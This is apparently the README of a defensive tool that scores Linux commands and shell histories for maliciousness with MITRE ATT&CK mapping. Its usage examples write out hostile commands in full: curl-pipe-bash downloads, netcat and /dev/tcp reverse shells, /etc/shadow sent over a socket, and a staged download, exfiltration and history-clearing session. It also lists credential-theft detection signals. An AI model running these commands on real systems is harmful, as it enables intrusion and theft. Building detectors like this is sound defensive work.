
Maliciousness scoring for Linux commands
malscore takes a Linux command line, or a session of commands such as a shell
history, and returns a 0β100 maliciousness score with a verdict band and
MITRE ATT&CK mapping:
command(s) β features β signals β score + MITRE mapping
It never executes, expands or resolves anything β it only reads the text
(enforced by tests/test_safety.py). It has no dependencies beyond the Python
standard library (3.8+).
pip install malscore # provides the `malscore` command
From a source checkout:
pip install . # or run without installing, from the repo root:
python3 -m malscore "<command>"
# one command
malscore "curl -s http://45.33.2.1/x.sh | bash"
# the command from stdin
echo "nc -e /bin/sh 10.0.0.1 4444" | malscore -
# a session: one command per line, scored individually and across commands
malscore --session history.txt
history | cut -c8- | malscore --session -
# every command in a telemetry feed, high or worse only
malscore --batch events.jsonl --min-verdict high
# full evidence with MITRE technique ids
malscore "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" --explain
# machine-readable
malscore --session history.txt --json
# gate use: exit code 2 when the verdict is high or critical
malscore --session history.txt --fail-on high
from malscore import Analyzer
a = Analyzer()
r = a.assess_command("curl -s http://1.2.3.4/x.sh | bash")
print(r.score, r.verdict) # 67 high
print([h.id for h in r.hits]) # ['download_pipe_interpreter', 'raw_ip_url', ...]
print(r.techniques) # ['T1059.004', 'T1105', 'T1071.001']
r = a.assess_session(["curl -o /tmp/p http://1.2.3.4/p", "/tmp/p"])
print(r.score, [h.id for h in r.hits]) # 75 ['staged_download_execution', ...]
print([c.score for c in r.per_command]) # each command's own assessment
print(r.as_dict()) # JSON-ready
Analyzer(redact=True) redacts credential-looking values before any command
text is echoed back; scores are unaffected.
Examples:
$ malscore "sudo cat /etc/shadow | nc 45.33.2.1 9001" --explain
ββββββββββββββββββββββββ score 91/100 CRITICAL
tactics: exfiltration, credential-access, command-and-control
evidence:
[0.60] exfiltration Credential material is sent over the network
T1552 T1041
[0.55] credential-access The password hash database (/etc/shadow) is accessed
T1003.008
[0.35] exfiltration Data is sent over a raw socket
T1048
...
$ cat history.txt
cd /tmp
curl -s -o /tmp/.x http://45.33.2.1/x
chmod +x /tmp/.x
/tmp/.x
tar czf /tmp/etc.tgz /etc
scp /tmp/etc.tgz [email protected]:/srv/
history -c
$ malscore --session history.txt
ββββββββββββββββββββββββ score 99/100 CRITICAL
history.txt
tactics: execution, defense-evasion, exfiltration, command-and-control, collection
7 command(s), 6 flagged:
ββββββββββββββββββββββββ L2 49 medium curl -s -o /tmp/.x http://45.33.2.1/x
ββββββββββββββββββββββββ L3 30 low chmod +x /tmp/.x
ββββββββββββββββββββββββ L4 30 low /tmp/.x
ββββββββββββββββββββββββ L5 25 low tar czf /tmp/etc.tgz /etc
ββββββββββββββββββββββββ L6 35 medium scp /tmp/etc.tgz [email protected]:/srv/
ββββββββββββββββββββββββ L7 50 medium history -c
signals: staged_download_execution, history_cleared, collect_then_exfiltrate, upload_public_ip, multi_stage, hidden_temp_path ...
In a session file every non-blank line is one command, taken literally: there is
no handling of comments, line continuations or here-documents. --batch is
different: it scores each command of a JSON feed independently, with no
cross-command analysis.
| score | verdict | meaning |
|---|---|---|
| 80β100 | critical | shape is rarely legitimate (reverse shell, disk wipe, uidβ0 account) |
| 60β79 | high | strong evidence; review promptly |
| 35β59 | medium | suspicious in most contexts (curlβpipeβshell, shadow read) |
| 15β34 | low | worth noting in combination |
| 0β14 | benign | routine |
The bands and weights are a hand-tuned starting point, not a trained model β every point of the score traces to a named signal and a MITRE ATT&CK technique.
Features. The command is lexed (without executing anything), wrappers
such as sudo/env/xargs are unwrapped, substitutions and -c payloads
are descended into, and deterministic features are computed β download
chains, paths touched, persistence surfaces, encoding tricks, and a
tradecraft group (malscore/tradecraft.py) that recognises specific
attacker techniques by shape.
Signals. malscore/signals.py is a catalogue of ~120 named signals: a
predicate over the feature record, a weight in (0, 1], a MITRE tactic and
technique ids. A weight reads as "how likely is this hostile if it
were the only thing we knew". The catalogue spans, by ATT&CK tactic:
/proc/self/fd;/etc/shadow and private keys, cloud metadata,
credential-keyword searches over config files, reads of .pgpass/.netrc/
cloud credential files, environment and history scraping, SSH-agent hijack;sudo -u#-1
bypass, PATH hijacks;/proc bind-mount hiding;DROP TABLE, mass process kills.The generic sensitive-data rules (card/SSN patterns, database dumps, table
names such as card, token, customer) ship on by default; tune the
SENSITIVE_TABLE_RE vocabulary in malscore/tradecraft.py for your own data.
Aggregation (noisyβOR). Weights combine as 1 β β(1 β wα΅’), so many weak
signals accumulate but never overflow and one strong signal dominates.
Redundant signals that share a tactic are damped, so tripping three
persistence checks is not counted as three independent findings.
Sessions. Each command in a session is scored as above (its
contribution capped at 0.9, so one noisy command does not make a long session
critical), and then crossβcommand signals look for patterns no single
command shows β a file downloaded early and run later, data staged (dumped,
archived or compressed) and later scpβed away, credential access after a
privilege escalation, an upload after credential access, staged data deleted
once sent, download plus persistence, activity followed by history/log
clearing, or activity spanning three or more tactics.